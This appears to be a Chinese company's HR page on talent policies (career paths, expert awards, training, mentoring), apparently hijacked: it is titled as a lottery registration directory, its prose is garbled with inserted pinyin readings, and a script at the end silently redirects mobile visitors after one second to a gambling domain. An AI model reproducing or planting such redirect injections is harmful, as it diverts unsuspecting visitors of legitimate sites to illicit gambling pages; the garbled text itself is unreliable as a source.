彩票注册导航

彩票注册导航 > 人力资源 > 人才政策

为(wei)了帮助(zhu)公司广(guang)大员工了解和掌握相关人才政(zheng)策,更好地(di)招聘人才、留(liu)住人才、用好人才,现将公司内目前(qian)施(shi)行的有关人才政(zheng)策摘要如下(xia):


一、员工职业多通道发展

为加强和规范(fan)公(gong)司(si)员(yuan)工职(zhi)业生涯管(guan)理,引导员(yuan)工职(zhi)业生涯发(fa)展的途径和方向,充分调(diao)动全体(ti)员(yuan)工的主动性和积极性,留住优秀的骨(gu)干人才,公(gong)司(si)为员(yuan)工设计并建立了多轨制职(zhi)业发(fa)展通道。

员(yuan)工(gong)的(de)(de)横向职业发展通道主(zhu)要(yao)是通过(guo)两种方(fang)(fang)式(shi)实(shi)现,即生产类员(yuan)工(gong)主(zhu)要(yao)是实(shi)行一(yi)专多能(neng)的(de)(de)方(fang)(fang)式(shi)来实(shi)现,管理(li)类员(yuan)工(gong)主(zhu)要(yao)是通过(guo)岗位(wei)轮换的(de)(de)方(fang)(fang)式(shi)来实(shi)现。

而员(yuan)(yuan)(yuan)工的纵(zong)向职(zhi)业(ye)发展通(tong)道(dao)主(zhu)要包括:1)、技(ji)能(neng)型(xing)员(yuan)(yuan)(yuan)工→中级(ji)技(ji)术工人(ren)→高(gao)级(ji)技(ji)术工人(ren)→技(ji)师(shi)(shi)→高(gao)级(ji)技(ji)师(shi)(shi)→首席(xi)技(ji)师(shi)(shi)(享受主(zhu)任工程(cheng)师(shi)(shi)待遇);2)、专(zhuan)业(ye)技(ji)术人(ren)员(yuan)(yuan)(yuan)→助(zhu)理(li)工程(cheng)师(shi)(shi)→工程(cheng)师(shi)(shi)→高(gao)级(ji)工程(cheng)师(shi)(shi)→主(zhu)任工程(cheng)师(shi)(shi)→中层(ceng)(ceng)管理(li)人(ren)员(yuan)(yuan)(yuan);3)、基(ji)层(ceng)(ceng)业(ye)务人(ren)员(yuan)(yuan)(yuan)→业(ye)务管理(li)骨干(gan)→基(ji)层(ceng)(ceng)管理(li)人(ren)员(yuan)(yuan)(yuan)→中层(ceng)(ceng)管理(li)人(ren)员(yuan)(yuan)(yuan)。


二、专业技术带头人、职业技能能手的评选

为(wei)(wei)充分发(fa)挥公(gong)司(si)优秀专(zhuan)业(ye)技(ji)(ji)术(shu)(shu)人(ren)才和(he)职(zhi)业(ye)技(ji)(ji)能(neng)(neng)能(neng)(neng)手在各(ge)专(zhuan)业(ye)、技(ji)(ji)术(shu)(shu)工(gong)作(zuo)的(de)带头(tou)作(zuo)用和(he)培养(yang)公(gong)司(si)专(zhuan)业(ye)技(ji)(ji)术(shu)(shu)人(ren)员(yuan)、技(ji)(ji)术(shu)(shu)工(gong)人(ren)队(dui)伍的(de)传帮带作(zuo)用,加强公(gong)司(si)专(zhuan)业(ye)技(ji)(ji)术(shu)(shu)人(ren)才和(he)技(ji)(ji)术(shu)(shu)工(gong)人(ren)梯队(dui)建设,培养(yang)更多的(de)高层次(ci)专(zhuan)业(ye)技(ji)(ji)术(shu)(shu)人(ren)才和(he)一(yi)专(zhuan)多能(neng)(neng)、独当一(yi)面的(de)技(ji)(ji)术(shu)(shu)工(gong)人(ren),为(wei)(wei)公(gong)司(si)的(de)发(fa)展(zhan)提供人(ren)力资源支持,促进公(gong)司(si)的(de)发(fa)展(zhan),公(gong)司(si)制定了(le)相应的(de)《专(zhuan)业(ye)技(ji)(ji)术(shu)(shu)带头(tou)人(ren)和(he)职(zhi)业(ye)技(ji)(ji)能(neng)(neng)能(neng)(neng)手评选管理办法》。

公司(si)在岗的(de)专业(ye)(ye)技(ji)术人(ren)员、职(zhi)业(ye)(ye)技(ji)能型人(ren)才(cai)可参(can)加两年一次的(de)专业(ye)(ye)技(ji)术带头(tou)人(ren)和职(zhi)业(ye)(ye)技(ji)能能手的(de)评选活动,在管理期限内(nei),专业(ye)(ye)技(ji)术带头(tou)人(ren)和职(zhi)业(ye)(ye)技(ji)能能手每月发放一定额度的(de)奖励金。


三、人力资源培训与开发

员工(gong)(gong)享有根据工(gong)(gong)作需要(yao)参(can)加培(pei)训(xun)(xun)与(yu)开发(fa)(fa)(fa)的(de)权(quan)利和(he)接(jie)受(shou)培(pei)训(xun)(xun)与(yu)开发(fa)(fa)(fa)的(de)义务。培(pei)训(xun)(xun)与(yu)开发(fa)(fa)(fa)是引导(dao)员工(gong)(gong)做(zuo)好个人职业(ye)的(de)发(fa)(fa)(fa)展(zhan)(zhan)规划,并(bing)负责(ze)为(wei)员工(gong)(gong)创造(zao)学(xue)(xue)习(xi)(xi)环境和(he)机会,逐(zhu)步建立(li)(li)员工(gong)(gong)职业(ye)发(fa)(fa)(fa)展(zhan)(zhan)体系和(he)终身学(xue)(xue)习(xi)(xi)机制,促(cu)进员工(gong)(gong)培(pei)训(xun)(xun)由“要(yao)我培(pei)训(xun)(xun)”向“我要(yao)培(pei)训(xun)(xun)”转变,实(shi)现员工(gong)(gong)职业(ye)发(fa)(fa)(fa)展(zhan)(zhan)与(yu)企业(ye)发(fa)(fa)(fa)展(zhan)(zhan)的(de)双赢。公司(si)全(quan)体员工(gong)(gong)要(yao)树(shu)立(li)(li)工(gong)(gong)作学(xue)(xue)习(xi)(xi)化(hua)(hua)(hua),学(xue)(xue)习(xi)(xi)工(gong)(gong)作化(hua)(hua)(hua),学(xue)(xue)习(xi)(xi)生活化(hua)(hua)(hua),学(xue)(xue)习(xi)(xi)终身化(hua)(hua)(hua)的(de)学(xue)(xue)习(xi)(xi)理念。

员工培(pei)训(xun)与开发应根据其所(suo)从事的实际工作(zuo)需要,结合个(ge)人(ren)职业生涯(ya)规划来(lai)开展,以岗位培(pei)训(xun)、专业技能培(pei)训(xun)、内部(bu)培(pei)训(xun)、不脱产培(pei)训(xun)为主(zhu)。

经营(ying)管理(li)(中(zhong)层管理(li)、后备(bei))人才培(pei)训与开发方式主要有:外出脱产短期培(pei)训学习、到兄弟厂家考察(cha)交(jiao)流(liu)、参(can)加相关行业(ye)组织的(de)交(jiao)流(liu)会,外出进修培(pei)训、参(can)加公开课培(pei)训等(deng)。

专业技术人(ren)才的培训与(yu)开发(fa)方(fang)式主(zhu)要有:参加所属(shu)专业的继续(xu)教(jiao)育(如企业法律顾问、质(zhi)量(liang)工(gong)(gong)程(cheng)师(shi)、监理工(gong)(gong)程(cheng)师(shi)、造价师(shi)、注(zhu)册安全(quan)工(gong)(gong)程(cheng)师(shi)等(deng)执业资质(zhi)注(zhu)册继续(xu)教(jiao)育培训)、行业协会(hui)组织的交(jiao)流会(hui)、研修班、学术活动、考察、进修等(deng)。

技(ji)能型人(ren)才的(de)培(pei)训与开发(fa)方式(shi)主要(yao)有:个别指导(师带徒(tu))、办讲座班、案例分(fen)析(xi)、模拟演练、事故处置训练、轮岗(gang)培(pei)训、多工种培(pei)训等。


四、师带徒活动

以公(gong)司(si)具(ju)有(you)(you)较高(gao)企业管(guan)理(li)(li)知识(shi)(shi)和(he)专业理(li)(li)论(lun)知识(shi)(shi)、丰富的工(gong)作(zuo)实(shi)践(jian)经(jing)验(yan)的管(guan)理(li)(li)人(ren)(ren)(ren)(ren)才、专业技(ji)(ji)术(shu)人(ren)(ren)(ren)(ren)才作(zuo)为(wei)(wei)(wei)导师(shi),将公(gong)司(si)有(you)(you)发展潜(qian)力(li)的专业技(ji)(ji)术(shu)、经(jing)营管(guan)理(li)(li)等岗(gang)位的骨(gu)干(gan)作(zuo)为(wei)(wei)(wei)学生(sheng),建立师(shi)徒(tu)关系;以具(ju)有(you)(you)精湛技(ji)(ji)艺、专业理(li)(li)论(lun)知识(shi)(shi)的技(ji)(ji)师(shi)或(huo)具(ju)有(you)(you)较高(gao)技(ji)(ji)术(shu)专长和(he)实(shi)践(jian)经(jing)验(yan)的能(neng)工(gong)巧匠、技(ji)(ji)术(shu)能(neng)手、技(ji)(ji)术(shu)骨(gu)干(gan)作(zuo)为(wei)(wei)(wei)师(shi)傅,将公(gong)司(si)重要(yao)、关键(jian)生(sheng)产和(he)维护岗(gang)位的有(you)(you)潜(qian)力(li)的技(ji)(ji)能(neng)型人(ren)(ren)(ren)(ren)员(yuan)(yuan)作(zuo)为(wei)(wei)(wei)徒(tu)弟,建立师(shi)徒(tu)关系;以岗(gang)位主(zhu)要(yao)操作(zuo)人(ren)(ren)(ren)(ren)员(yuan)(yuan)作(zuo)为(wei)(wei)(wei)师(shi)傅,将新招聘(pin)人(ren)(ren)(ren)(ren)员(yuan)(yuan)、转岗(gang)、试(shi)岗(gang)人(ren)(ren)(ren)(ren)员(yuan)(yuan)作(zuo)为(wei)(wei)(wei)徒(tu)弟,建立师(shi)徒(tu)关系。通过开展“师(shi)带徒(tu)”活动,更快、更好地(di)鼓励员(yuan)(yuan)工(gong)不断成长,充分(fen)挖掘现有(you)(you)人(ren)(ren)(ren)(ren)力(li)资(zi)(zi)源的潜(qian)力(li),为(wei)(wei)(wei)公(gong)司(si)的发展提供(gong)人(ren)(ren)(ren)(ren)力(li)资(zi)(zi)源支(zhi)持。

“师带(dai)徒”的(de)导师(师傅)承担了相应(ying)(ying)的(de)责任,履行了相应(ying)(ying)的(de)义务,应(ying)(ying)享有相应(ying)(ying)的(de)“师带(dai)徒+”津贴,该津贴在(zai)协(xie)议期(qi)满经考(kao)核后及时支付。

姓名: 性别: 民族:
出生年月: 联系电话: 工作经验:
学历: 专业: 技术职称:
求职意向: 目标职位:
期望薪资: 到岗时间:
离职原因:
证明人: 联系方式: 与证明人关系:
薪资状态:
关闭
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();